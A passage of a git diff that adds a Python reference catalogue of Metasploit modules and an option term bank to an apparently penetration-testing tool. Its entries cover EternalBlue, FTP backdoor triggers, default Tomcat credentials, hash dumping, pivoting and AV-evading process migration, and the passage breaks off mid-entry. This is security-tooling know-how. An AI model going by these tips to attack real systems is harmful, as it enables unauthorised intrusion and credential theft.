'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'DATABASE', 'required': False, 'desc': 'Database to connect to'}, + ], + 'tags': ['postgres', 'postgresql', 'scanner', 'database', 'brute', 'login'], + 'notes': 'Default user is postgres. Can lead to RCE via COPY command or extensions.', + }, + + # ========================================================================= + # SCANNERS - RDP/VNC + # ========================================================================= + 'auxiliary/scanner/rdp/rdp_scanner': { + 'name': 'RDP Service Scanner', + 'description': 'Identifies systems running Remote Desktop Protocol (RDP). Detects ' + 'RDP version, NLA requirements, and encryption level.', + 'author': ['hdm', 'altonjx'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'RDP port (default: 3389)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['rdp', 'scanner', 'windows', 'remote', 'desktop'], + 'notes': 'Check for BlueKeep (CVE-2019-0708) on older Windows. NLA provides some protection.', + }, + 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep': { + 'name': 'BlueKeep Vulnerability Scanner', + 'description': 'Checks for CVE-2019-0708 (BlueKeep) RDP vulnerability. This critical ' + 'vulnerability allows remote code execution without authentication. ' + 'Affects Windows 7, Server 2008, and older.', + 'author': ['JaGoTu', 'zerosum0x0', 'ryHanson'], + 'cve': ['CVE-2019-0708'], + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'RDP port (default: 3389)'}, + ], + 'tags': ['rdp', 'scanner', 'bluekeep', 'cve-2019-0708', 'vulnerability', 'windows'], + 'notes': 'Safe scanner. Does not exploit, only checks. Affects Windows 7, 2008, XP.', + }, + 'auxiliary/scanner/vnc/vnc_none_auth': { + 'name': 'VNC No Authentication Scanner', + 'description': 'Checks for VNC servers with no authentication required. Unsecured VNC ' + 'provides full graphical access to the system.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'VNC port (default: 5900)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['vnc', 'scanner', 'authentication', 'remote', 'desktop'], + 'notes': 'No-auth VNC = full desktop access. Connect with any VNC client.', + }, + + # ========================================================================= + # EXPLOITS - SMB/WINDOWS + # ========================================================================= + 'exploit/windows/smb/ms17_010_eternalblue': { + 'name': 'EternalBlue SMB Remote Code Execution', + 'description': 'Exploits the MS17-010 SMB vulnerability (EternalBlue) for remote code ' + 'execution. Affects Windows XP through Windows Server 2008 R2. One of ' + 'the most reliable remote Windows exploits. Used by WannaCry ransomware.', + 'author': ['Equation Group', 'Shadow Brokers', 'sleepya'], + 'cve': ['CVE-2017-0144'], + 'platforms': ['windows'], + 'arch': ['x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + {'name': 'LPORT', 'required': False, 'desc': 'Callback port (default: 4444)'}, + {'name': 'PAYLOAD', 'required': True, 'desc': 'Payload (recommend meterpreter)'}, + ], + 'tags': ['exploit', 'smb', 'eternalblue', 'ms17-010', 'windows', 'remote', 'cve-2017-0144'], + 'notes': 'CRITICAL: May crash unpatched systems. Test with scanner first. x64 targets only.', + }, + 'exploit/windows/smb/ms17_010_psexec': { + 'name': 'EternalBlue/Romance/Synergy Combo Exploit', + 'description': 'Uses EternalBlue, EternalRomance, and EternalSynergy to achieve code ' + 'execution. More stable than pure EternalBlue. Works on x86 and x64.', + 'author': ['sleepya', 'zerosum0x0'], + 'cve': ['CVE-2017-0143', 'CVE-2017-0144', 'CVE-2017-0145'], + 'platforms': ['windows'], + 'arch': ['x86', 'x64'], + 'reliability': 'great', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + {'name': 'LPORT', 'required': False, 'desc': 'Callback port'}, + {'name': 'PAYLOAD', 'required': True, 'desc': 'Payload to deliver'}, + ], + 'tags': ['exploit', 'smb', 'eternalblue', 'eternalromance', 'ms17-010', 'windows'], + 'notes': 'More reliable than pure EternalBlue. Works on both 32 and 64-bit Windows.', + }, + 'exploit/windows/smb/psexec': { + 'name': 'PsExec Remote Command Execution', + 'description': 'Executes commands on Windows systems using valid credentials via SMB. ' + 'Uploads a service binary, creates and starts a service, then cleans up. ' + 'Requires admin credentials.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': ['x86', 'x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'SMBUser', 'required': True, 'desc': 'Admin username'}, + {'name': 'SMBPass', 'required': True, 'desc': 'Admin password or NTLM hash'}, + {'name': 'SMBDomain', 'required': False, 'desc': 'Domain name'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + ], + 'tags': ['exploit', 'smb', 'psexec', 'windows', 'credentials', 'lateral'], + 'notes': 'Requires admin creds. Detected by most AV. Use for lateral movement.', + }, + 'exploit/windows/smb/ms08_067_netapi': { + 'name': 'MS08-067 Server Service Vulnerability', + 'description': 'Exploits the MS08-067 vulnerability in Windows Server Service. ' + 'Affects Windows XP and Server 2003. Very reliable, pre-authentication RCE.', + 'author': ['hdm', 'Brett Moore', 'Harmony Security'], + 'cve': ['CVE-2008-4250'], + 'platforms': ['windows'], + 'arch': ['x86'], + 'reliability': 'great', + 'options': [ + {'name': 'RHOST', 'required': True, 'desc': 'Target IP'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + {'name': 'LPORT', 'required': False, 'desc': 'Callback port'}, + ], + 'tags': ['exploit', 'smb', 'ms08-067', 'windows', 'xp', 'legacy', 'cve-2008-4250'], + 'notes': 'Old but still found in legacy environments. XP and Server 2003 only.', + }, + + # ========================================================================= + # EXPLOITS - SSH + # ========================================================================= + 'exploit/linux/ssh/sshexec': { + 'name': 'SSH User Code Execution', + 'description': 'Executes payload on target via SSH using valid credentials. ' + 'Creates a Meterpreter or shell session through SSH authentication.', + 'author': ['Spencer McIntyre', 'Brandon Knight'], + 'cve': None, + 'platforms': ['linux', 'unix'], + 'arch': ['x86', 'x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'SSH port (default: 22)'}, + {'name': 'USERNAME', 'required': True, 'desc': 'SSH username'}, + {'name': 'PASSWORD', 'required': True, 'desc': 'SSH password'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + ], + 'tags': ['exploit', 'ssh', 'linux', 'credentials', 'remote'], + 'notes': 'Requires valid SSH creds. Use after successful ssh_login scan.', + }, + + # ========================================================================= + # EXPLOITS - WEB/HTTP + # ========================================================================= + 'exploit/multi/http/tomcat_mgr_upload': { + 'name': 'Apache Tomcat Manager Upload', + 'description': 'Uploads and executes a WAR file through Tomcat Manager. Requires ' + 'manager credentials. Very common in enterprise environments.', + 'author': ['rangercha'], + 'cve': None, + 'platforms': ['multi'], + 'arch': ['java'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 80)'}, + {'name': 'HttpUsername', 'required': True, 'desc': 'Tomcat manager username'}, + {'name': 'HttpPassword', 'required': True, 'desc': 'Tomcat manager password'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'Manager path'}, + ], + 'tags': ['exploit', 'http', 'tomcat', 'java', 'web', 'upload'], + 'notes': 'Default creds: tomcat/tomcat, admin/admin, manager/manager. Check tomcat-users.xml.', + }, + 'exploit/multi/http/jenkins_script_console': { + 'name': 'Jenkins Script Console RCE', + 'description': 'Executes Groovy script via Jenkins Script Console. Requires access ' + 'to the /script endpoint (usually needs authentication or misconfiguration).', + 'author': ['Spencer McIntyre', 'altonjx'], + 'cve': None, + 'platforms': ['multi'], + 'arch': ['java'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 8080)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Jenkins username'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Jenkins password'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'Jenkins path'}, + ], + 'tags': ['exploit', 'http', 'jenkins', 'java', 'web', 'rce'], + 'notes': 'Check for unauthenticated /script access. Also check for default creds.', + }, + 'exploit/unix/webapp/php_cgi_arg_injection': { + 'name': 'PHP CGI Argument Injection', + 'description': 'Exploits PHP-CGI argument injection (CVE-2012-1823). Allows remote ' + 'code execution by passing PHP configuration options via query string.', + 'author': ['hdm'], + 'cve': ['CVE-2012-1823'], + 'platforms': ['unix', 'linux'], + 'arch': ['cmd'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'PHP file path'}, + ], + 'tags': ['exploit', 'http', 'php', 'cgi', 'web', 'rce', 'cve-2012-1823'], + 'notes': 'Old but still found. Test with ?-s to see PHP source leak.', + }, + + # ========================================================================= + # EXPLOITS - FTP + # ========================================================================= + 'exploit/unix/ftp/vsftpd_234_backdoor': { + 'name': 'VSFTPD 2.3.4 Backdoor', + 'description': 'Exploits a backdoor in vsftpd 2.3.4. Sending a smiley :) in the ' + 'username opens a shell on port 6200. One of the easiest exploits.', + 'author': ['hdm', 'mc'], + 'cve': ['CVE-2011-2523'], + 'platforms': ['unix'], + 'arch': ['cmd'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOST', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + ], + 'tags': ['exploit', 'ftp', 'vsftpd', 'backdoor', 'unix', 'linux'], + 'notes': 'Very easy exploit - just run it. Opens shell on port 6200.', + }, + 'exploit/unix/ftp/proftpd_133c_backdoor': { + 'name': 'ProFTPD 1.3.3c Backdoor', + 'description': 'Exploits a backdoor in ProFTPD 1.3.3c. Sends HELP ACIDBITCHEZ command ' + 'to trigger the backdoor and open a root shell.', + 'author': ['hdm', 'mc'], + 'cve': None, + 'platforms': ['unix'], + 'arch': ['cmd'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOST', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + ], + 'tags': ['exploit', 'ftp', 'proftpd', 'backdoor', 'unix', 'linux'], + 'notes': 'Opens root shell directly. Check FTP banner for version.', + }, + + # ========================================================================= + # EXPLOITS - DATABASE + # ========================================================================= + 'exploit/multi/mysql/mysql_udf_payload': { + 'name': 'MySQL UDF Remote Code Execution', + 'description': 'Creates a User Defined Function (UDF) in MySQL to execute system ' + 'commands. Requires FILE privilege and ability to write to plugin directory.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': ['x86', 'x64'], + 'reliability': 'great', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'MySQL port (default: 3306)'}, + {'name': 'USERNAME', 'required': True, 'desc': 'MySQL username'}, + {'name': 'PASSWORD', 'required': True, 'desc': 'MySQL password'}, + ], + 'tags': ['exploit', 'mysql', 'database', 'udf', 'rce'], + 'notes': 'Requires FILE privilege. Check with SHOW GRANTS. May need writable plugin dir.', + }, + 'exploit/windows/mssql/mssql_payload': { + 'name': 'MSSQL xp_cmdshell Payload Execution', + 'description': 'Executes payload via MSSQL xp_cmdshell. Enables xp_cmdshell if disabled ' + 'and executes system commands. Requires sysadmin privileges.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': ['x86', 'x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'MSSQL port (default: 1433)'}, + {'name': 'USERNAME', 'required': True, 'desc': 'MSSQL username (sa)'}, + {'name': 'PASSWORD', 'required': True, 'desc': 'MSSQL password'}, + ], + 'tags': ['exploit', 'mssql', 'database', 'xp_cmdshell', 'windows', 'rce'], + 'notes': 'Usually runs as SYSTEM. Use sa account. May need to enable xp_cmdshell first.', + }, + + # ========================================================================= + # POST-EXPLOITATION + # ========================================================================= + 'post/windows/gather/hashdump': { + 'name': 'Windows Password Hash Dump', + 'description': 'Dumps password hashes from the SAM database. Requires SYSTEM privileges ' + 'or the ability to read SAM. Hashes can be cracked or used for pass-the-hash.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'SESSION', 'required': True, 'desc': 'Meterpreter session ID'}, + ], + 'tags': ['post', 'windows', 'credentials', 'hashdump', 'sam', 'hashes'], + 'notes': 'Requires SYSTEM. Use getsystem or run as SYSTEM service. Hashes in LM:NT format.', + }, + 'post/multi/recon/local_exploit_suggester': { + 'name': 'Local Exploit Suggester', + 'description': 'Suggests local privilege escalation exploits based on the target system. ' + 'Checks patch level and configuration to recommend applicable exploits.', + 'author': ['sinn3r', 'Shelby Pace'], + 'cve': None, + 'platforms': ['windows', 'linux'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'SESSION', 'required': True, 'desc': 'Session ID'}, + {'name': 'SHOWDESCRIPTION', 'required': False, 'desc': 'Show exploit descriptions'}, + ], + 'tags': ['post', 'recon', 'privesc', 'suggester', 'local', 'escalation'], + 'notes': 'Run this first after getting a shell. Checks for missing patches.', + }, + 'post/windows/manage/migrate': { + 'name': 'Meterpreter Process Migration', + 'description': 'Migrates Meterpreter to another process. Improves stability and ' + 'can help bypass AV. Common targets: explorer.exe, svchost.exe.', + 'author': ['hdm', 'egypt'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'great', + 'options': [ + {'name': 'SESSION', 'required': True, 'desc': 'Meterpreter session ID'}, + {'name': 'PID', 'required': False, 'desc': 'Target process ID'}, + {'name': 'NAME', 'required': False, 'desc': 'Target process name'}, + ], + 'tags': ['post', 'windows', 'migrate', 'process', 'stability'], + 'notes': 'Migrate to stable process quickly. If current process dies, session dies.', + }, + 'post/multi/manage/autoroute': { + 'name': 'Auto Route Setup', + 'description': 'Adds routes through a Meterpreter session for pivoting. Allows ' + 'scanning and exploiting systems on networks accessible to the compromised host.', + 'author': ['egypt', 'hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'SESSION', 'required': True, 'desc': 'Session ID'}, + {'name': 'SUBNET', 'required': False, 'desc': 'Subnet to route (auto-detected)'}, + ], + 'tags': ['post', 'pivot', 'route', 'network', 'lateral'], + 'notes': 'Essential for pivoting. Auto-detects subnets from session network config.', + }, + + # ========================================================================= + # PAYLOADS (Reference Only) + # ========================================================================= + 'payload/windows/meterpreter/reverse_tcp': { + 'name': 'Windows Meterpreter Reverse TCP', + 'description': 'Advanced payload that connects back to your machine. Provides file ' + 'system access, process manipulation, pivoting, screenshot, keylogging, ' + 'and more. The most capable Windows payload.', + 'author': ['hdm', 'skape'], + 'cve': None, + 'platforms': ['windows'], + 'arch': ['x86'], + 'reliability': 'excellent', + 'options': [ + {'name': 'LHOST', 'required': True, 'desc': 'Your IP address'}, + {'name': 'LPORT', 'required': True, 'desc': 'Your listening port'}, + ], + 'tags': ['payload', 'windows', 'meterpreter', 'reverse', 'tcp'], + 'notes': 'Requires outbound TCP from target. Most feature-rich payload.', + }, + 'payload/windows/x64/meterpreter/reverse_tcp': { + 'name': 'Windows x64 Meterpreter Reverse TCP', + 'description': '64-bit Meterpreter for Windows x64 systems. Same capabilities as x86 ' + 'version but for 64-bit targets. Required for modern Windows.', + 'author': ['hdm', 'skape', 'sf'], + 'cve': None, + 'platforms': ['windows'], + 'arch': ['x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'LHOST', 'required': True, 'desc': 'Your IP address'}, + {'name': 'LPORT', 'required': True, 'desc': 'Your listening port'}, + ], + 'tags': ['payload', 'windows', 'meterpreter', 'reverse', 'tcp', 'x64'], + 'notes': 'Use for 64-bit Windows. Most modern Windows systems are x64.', + }, + 'payload/linux/x64/meterpreter/reverse_tcp': { + 'name': 'Linux x64 Meterpreter Reverse TCP', + 'description': 'Linux Meterpreter providing advanced post-exploitation capabilities. ' + 'File access, process control, and pivoting on Linux targets.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['linux'], + 'arch': ['x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'LHOST', 'required': True, 'desc': 'Your IP address'}, + {'name': 'LPORT', 'required': True, 'desc': 'Your listening port'}, + ], + 'tags': ['payload', 'linux', 'meterpreter', 'reverse', 'tcp', 'x64'], + 'notes': 'Full meterpreter features on Linux. Use for advanced post-exploitation.', + }, + 'payload/linux/x64/shell_reverse_tcp': { + 'name': 'Linux x64 Shell Reverse TCP', + 'description': 'Simple reverse shell for Linux. Connects back and provides /bin/sh. ' + 'Smaller and more reliable than Meterpreter when simplicity is needed.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['linux'], + 'arch': ['x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'LHOST', 'required': True, 'desc': 'Your IP address'}, + {'name': 'LPORT', 'required': True, 'desc': 'Your listening port'}, + ], + 'tags': ['payload', 'linux', 'shell', 'reverse', 'tcp', 'x64'], + 'notes': 'Simple shell - use when Meterpreter fails or is detected.', + }, +} + + +# ============================================================================= +# MODULE CATEGORIES +# ============================================================================= + +MODULE_CATEGORIES = { + 'scanner': { + 'name': 'Scanners', + 'description': 'Modules that scan for information or vulnerabilities', + 'subcategories': ['smb', 'ssh', 'http', 'ftp', 'mysql', 'mssql', 'postgres', 'rdp', 'vnc', 'portscan'], + }, + 'exploit': { + 'name': 'Exploits', + 'description': 'Modules that exploit vulnerabilities to gain access', + 'subcategories': ['windows', 'linux', 'unix', 'multi', 'web'], + }, + 'post': { + 'name': 'Post-Exploitation', + 'description': 'Modules for actions after gaining access', + 'subcategories': ['gather', 'manage', 'recon', 'escalate'], + }, + 'payload': { + 'name': 'Payloads', + 'description': 'Payloads delivered by exploits', + 'subcategories': ['meterpreter', 'shell', 'reverse', 'bind'], + }, + 'auxiliary': { + 'name': 'Auxiliary', + 'description': 'Supporting modules (scanners, fuzzers, etc.)', + 'subcategories': ['scanner', 'admin', 'gather', 'fuzz'], + }, +} + + +# ============================================================================= +# API FUNCTIONS +# ============================================================================= + +def get_module_info(module_path: str) -> Optional[Dict[str, Any]]: + """Get information about a module. + + Args: + module_path: Full module path (e.g., 'auxiliary/scanner/smb/smb_version'). + + Returns: + Dictionary with module info, or None if not found. + """ + return MSF_MODULES.get(module_path) + + +def get_module_description(module_path: str) -> str: + """Get just the description for a module. + + Args: + module_path: Module path. + + Returns: + Description string, or 'Unknown module' if not found. + """ + info = get_module_info(module_path) + if info: + return info['description'] + return f"No description available for: {module_path}" + + +def search_modules(query: str, max_results: int = 50) -> List[Dict[str, Any]]: + """Search modules by keyword. + + Args: + query: Search query (searches name, description, tags). + max_results: Maximum results to return. + + Returns: + List of matching modules with path and info. + """ + query_lower = query.lower() + results = [] + + for path, info in MSF_MODULES.items(): + score = 0 + + # Check path + if query_lower in path.lower(): + score += 10 + + # Check name + if query_lower in info.get('name', '').lower(): + score += 8 + + # Check tags + for tag in info.get('tags', []): + if query_lower in tag.lower(): + score += 5 + + # Check description + if query_lower in info.get('description', '').lower(): + score += 3 + + # Check CVE + for cve in (info.get('cve') or []): + if query_lower in cve.lower(): + score += 10 + + if score > 0: + results.append({ + 'path': path, + 'score': score, + **info + }) + + # Sort by score descending + results.sort(key=lambda x: x['score'], reverse=True) + return results[:max_results] + + +def get_modules_by_type(module_type: str) -> List[Dict[str, Any]]: + """Get all modules of a specific type. + + Args: + module_type: Module type prefix (exploit, auxiliary, post, payload). + + Returns: + List of modules matching the type. + """ + results = [] + prefix = module_type.lower().rstrip('/') + + for path, info in MSF_MODULES.items(): + if path.startswith(prefix): + results.append({ + 'path': path, + **info + }) + + return results + + +def get_modules_by_tag(tag: str) -> List[Dict[str, Any]]: + """Get all modules with a specific tag. + + Args: + tag: Tag to search for. + + Returns: + List of modules with that tag. + """ + tag_lower = tag.lower() + results = [] + + for path, info in MSF_MODULES.items(): + if tag_lower in [t.lower() for t in info.get('tags', [])]: + results.append({ + 'path': path, + **info + }) + + return results + + +def get_modules_by_platform(platform: str) -> List[Dict[str, Any]]: + """Get all modules for a specific platform. + + Args: + platform: Platform (windows, linux, unix, multi). + + Returns: + List of modules for that platform. + """ + platform_lower = platform.lower() + results = [] + + for path, info in MSF_MODULES.items(): + platforms = info.get('platforms', []) + if platform_lower in [p.lower() for p in platforms]: + results.append({ + 'path': path, + **info + }) + + return results + + +def get_module_options(module_path: str) -> List[Dict[str, Any]]: + """Get the common options for a module. + + Args: + module_path: Module path. + + Returns: + List of option dictionaries. + """ + info = get_module_info(module_path) + if info: + return info.get('options', []) + return [] + + +def format_module_help(module_path: str) -> str: + """Get formatted help text for a module. + + Args: + module_path: Module path. + + Returns: + Formatted help string. + """ + info = get_module_info(module_path) + + if not info: + return f"No information available for: {module_path}" + + lines = [ + f"Module: {module_path}", + f"Name: {info.get('name', 'Unknown')}", + "", + info.get('description', 'No description'), + "", + ] + + if info.get('cve'): + lines.append(f"CVE: {', '.join(info['cve'])}") + + if info.get('platforms'): + lines.append(f"Platforms: {', '.join(info['platforms'])}") + + if info.get('reliability'): + lines.append(f"Reliability: {info['reliability']}") + + if info.get('options'): + lines.append("") + lines.append("Common Options:") + for opt in info['options']: + req = "(required)" if opt.get('required') else "" + lines.append(f" {opt['name']:15} - {opt.get('desc', '')} {req}") + + if info.get('notes'): + lines.append("") + lines.append(f"Notes: {info['notes']}") + + return '\n'.join(lines) + + +def list_all_modules() -> List[str]: + """Get list of all module paths in the library. + + Returns: + List of module paths. + """ + return list(MSF_MODULES.keys()) + + +def get_module_count() -> Dict[str, int]: + """Get count of modules by type. + + Returns: + Dictionary of type -> count. + """ + counts = {'exploit': 0, 'auxiliary': 0, 'post': 0, 'payload': 0} + + for path in MSF_MODULES.keys(): + for mtype in counts.keys(): + if path.startswith(mtype): + counts[mtype] += 1 + break + + counts['total'] = len(MSF_MODULES) + return counts + + +# ============================================================================= +# QUICK REFERENCE +# ============================================================================= + +def print_module_summary(): + """Print a summary of modules in the library.""" + counts = get_module_count() + + print("MSF Module Library Summary") + print("=" * 50) + print(f"Total modules: {counts['total']}") + print(f" Exploits: {counts['exploit']}") + print(f" Auxiliary/Scanners: {counts['auxiliary']}") + print(f" Post-exploitation: {counts['post']}") + print(f" Payloads: {counts['payload']}") + + +if __name__ == "__main__": + print_module_summary() + + print("\n" + "=" * 50) + print("Sample search for 'smb':") + results = search_modules('smb', max_results=5) + for r in results: + print(f" {r['path']}") + print(f" {r['name']}") + + print("\n" + "=" * 50) + print("Sample module help:") + print(format_module_help('exploit/windows/smb/ms17_010_eternalblue')) diff --git a/core/msf_terms.py b/core/msf_terms.py new file mode 100644 index 0000000..5fd8796 --- /dev/null +++ b/core/msf_terms.py @@ -0,0 +1,1124 @@ +""" +AUTARCH Metasploit Term Bank +Centralized definitions for MSF options and settings. + +Provides consistent explanations and prompts for all Metasploit options +so they don't need to be repeated throughout the codebase. + +Usage: + from core.msf_terms import get_setting_info, get_setting_prompt, format_setting_help + + info = get_setting_info('RHOSTS') + print(info['description']) + + prompt = get_setting_prompt('RPORT', default=445) + user_input = input(prompt) +""" + +from typing import Dict, Optional, Any, List + + +# ============================================================================= +# MSF SETTINGS TERM BANK +# ============================================================================= +# Each setting has: +# - description: What this option does +# - input_type: Expected input type (ip, port, string, boolean, path, etc.) +# - examples: Example values +# - default: Common default value (if any) +# - aliases: Other names that mean the same thing +# - category: Grouping (target, connection, authentication, payload, etc.) +# - required: Whether typically required +# - notes: Additional tips or warnings + +MSF_SETTINGS = { + # ========================================================================= + # TARGET OPTIONS + # ========================================================================= + 'RHOSTS': { + 'description': 'The target host(s) to scan or exploit. Can be a single IP, ' + 'a hostname, a CIDR range (192.168.1.0/24), or a range ' + '(192.168.1.1-254). Multiple targets can be separated by spaces.', + 'input_type': 'host_range', + 'examples': ['192.168.1.1', '192.168.1.0/24', '192.168.1.1-50', 'target.example.com'], + 'default': None, + 'aliases': ['RHOST', 'TARGET', 'TARGETS'], + 'category': 'target', + 'required': True, + 'notes': 'For single-target exploits, use RHOST. For scanners, RHOSTS supports ranges.', + }, + 'RHOST': { + 'description': 'The target host IP address or hostname. This is the system ' + 'you want to scan or exploit.', + 'input_type': 'host', + 'examples': ['192.168.1.1', 'target.example.com', '10.0.0.50'], + 'default': None, + 'aliases': ['RHOSTS', 'TARGET'], + 'category': 'target', + 'required': True, + 'notes': 'If you enter a hostname, it will be resolved to an IP address.', + }, + 'RPORT': { + 'description': 'The target port number on the remote host. This is the port ' + 'where the vulnerable service is running.', + 'input_type': 'port', + 'examples': ['22', '80', '443', '445', '3389'], + 'default': None, # Varies by module + 'aliases': ['PORT', 'TARGET_PORT'], + 'category': 'target', + 'required': True, + 'notes': 'Common ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), 445 (SMB), 3389 (RDP).', + }, + 'TARGETURI': { + 'description': 'The URI path on the target web server. This is the path to ' + 'the vulnerable application or endpoint.', + 'input_type': 'path', + 'examples': ['/', '/admin', '/api/v1', '/wp-admin'], + 'default': '/', + 'aliases': ['URI', 'PATH'], + 'category': 'target', + 'required': False, + 'notes': 'Usually starts with /. Check the application documentation for the correct path.', + }, + 'VHOST': { + 'description': 'The virtual host (HTTP Host header) to use in requests. ' + 'Useful when multiple sites are hosted on the same IP.', + 'input_type': 'hostname', + 'examples': ['www.example.com', 'admin.target.local'], + 'default': None, + 'aliases': ['VIRTUALHOST'], + 'category': 'target', + 'required': False, + 'notes': 'Set this if the target uses virtual hosting or name-based routing.', + }, + 'DOMAIN': { + 'description': 'The Windows domain name for authentication or targeting. ' + 'Used in Active Directory environments.', + 'input_type': 'string', + 'examples': ['CORP', 'WORKGROUP', 'mydomain.local'], + 'default': 'WORKGROUP', + 'aliases': ['SMBDomain'], + 'category': 'target', + 'required': False, + 'notes': 'For workgroup machines, use WORKGROUP. For domain-joined, use the domain name.', + }, + + # ========================================================================= + # LOCAL/LISTENER OPTIONS + # ========================================================================= + 'LHOST': { + 'description': 'Your local IP address that the target will connect back to. ' + 'This is YOUR machine\'s IP, used for reverse shells and callbacks.', + 'input_type': 'ip', + 'examples': ['192.168.1.100', '10.10.14.5', 'eth0'], + 'default': None, + 'aliases': ['LOCALHOST', 'CALLBACK_HOST'], + 'category': 'local', + 'required': True, # For reverse payloads + 'notes': 'Must be reachable from the target. Use your VPN/tun0 IP for remote targets. ' + 'Can specify interface name (eth0) to auto-detect.', + }, + 'LPORT': { + 'description': 'The local port on your machine to listen for incoming connections. ' + 'The target will connect back to this port.', + 'input_type': 'port', + 'examples': ['4444', '443', '8080', '9001'], + 'default': '4444', + 'aliases': ['LOCALPORT', 'CALLBACK_PORT'], + 'category': 'local', + 'required': True, # For reverse payloads + 'notes': 'Ports below 1024 require root. Using 443 or 80 may help bypass firewalls.', + }, + 'SRVHOST': { + 'description': 'The IP address for the local server to bind to. This is where ' + 'MSF will start a listener or HTTP server.', + 'input_type': 'ip', + 'examples': ['0.0.0.0', '192.168.1.100', '127.0.0.1'], + 'default': '0.0.0.0', + 'aliases': ['SERVER_HOST'], + 'category': 'local', + 'required': False, + 'notes': '0.0.0.0 listens on all interfaces. Use specific IP to restrict access.', + }, + 'SRVPORT': { + 'description': 'The port for the local server to listen on. Used for exploit ' + 'delivery servers, HTTP servers, etc.', + 'input_type': 'port', + 'examples': ['8080', '80', '443', '8888'], + 'default': '8080', + 'aliases': ['SERVER_PORT'], + 'category': 'local', + 'required': False, + 'notes': 'Choose a port that won\'t conflict with existing services.', + }, + + # ========================================================================= + # AUTHENTICATION OPTIONS + # ========================================================================= + 'USERNAME': { + 'description': 'The username for authentication to the target service.', + 'input_type': 'string', + 'examples': ['admin', 'root', 'administrator', 'sa'], + 'default': None, + 'aliases': ['USER', 'SMBUser', 'HttpUsername', 'FTPUser'], + 'category': 'auth', + 'required': False, + 'notes': 'Required for authenticated scans/exploits. Try common defaults if unknown.', + }, + 'PASSWORD': { + 'description': 'The password for authentication to the target service.', + 'input_type': 'password', + 'examples': ['password123', 'admin', 'P@ssw0rd'], + 'default': None, + 'aliases': ['PASS', 'SMBPass', 'HttpPassword', 'FTPPass'], + 'category': 'auth', + 'required': False, + 'notes': 'Can be blank for null password attempts. Consider using PASS_FILE for brute force.', + }, + 'USER_FILE': { + 'description': 'Path to a file containing usernames, one per line. ' + 'Used for credential brute forcing.', + 'input_type': 'file_path', + 'examples': ['/usr/share/wordlists/users.txt', '/opt/seclists/Usernames/top-usernames.txt'], + 'default': None, + 'aliases': ['USERPASS_FILE', 'USERNAME_FILE'], + 'category': 'auth', + 'required': False, + 'notes': 'For brute force attacks. Combine with PASS_FILE for credential stuffing.', + }, + 'PASS_FILE': { + 'description': 'Path to a file 